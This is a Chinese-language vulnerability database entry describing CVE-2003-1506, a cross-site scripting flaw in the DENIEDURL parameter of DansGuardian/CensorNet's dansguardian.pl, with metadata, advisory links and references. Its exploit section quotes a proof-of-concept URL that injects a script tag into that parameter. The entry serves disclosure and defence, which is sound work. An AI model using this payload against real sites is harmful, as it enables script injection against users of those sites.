DansGuardian被拒绝URL跨站脚本漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107530 漏洞类型 跨站脚本
发布时间 2003-10-22 更新时间 2003-12-31
CVE编号 CVE-2003-1506 CNNVD-ID CNNVD-200312-424
漏洞平台 CGI CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/23275
https://cxsecurity.com/issue/WLB-2007100120
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-424
|漏洞详情
AdelixCensorNet3.0至3.2版本的dansguardian.pl存在跨站脚本(XSS)漏洞。远程攻击者可以像其他用户一样通过向DENIEDURL参数注入任意HTML或脚本执行任意脚本。
|漏洞EXP
source: http://www.securityfocus.com/bid/8876/info

A problem has been reported in the handling of some types of input to DansGuardian. This problem may permit an attacker to launch cross-site scripting attacks.

http://www.example.com/cgi-bin/dansguardian.pl?DENIEDURL=</a><script>alert('Test');window.open+("http://www.example.com")</script>
|参考资料

来源:XF
名称:censornet-cgi-xss(13507)
链接:http://xforce.iss.net/xforce/xfdb/13507
来源:BID
名称:8876
链接:http://www.securityfocus.com/bid/8876
来源:BUGTRAQ
名称:20031027Re:CensorNet:CrossSiteScriptingVulnerability
链接:http://www.securityfocus.com/archive/1/342577
来源:BUGTRAQ
名称:20031027Re:CensorNet:CrossSiteScriptingVulnerability
链接:http://www.securityfocus.com/archive/1/342551
来源:BUGTRAQ
名称:20031022CensorNet:CrossSiteScriptingVulnerability
链接:http://www.securityfocus.com/archive/1/342160
来源:SREASON
名称:3299
链接:http://securityreason.com/securityalert/3299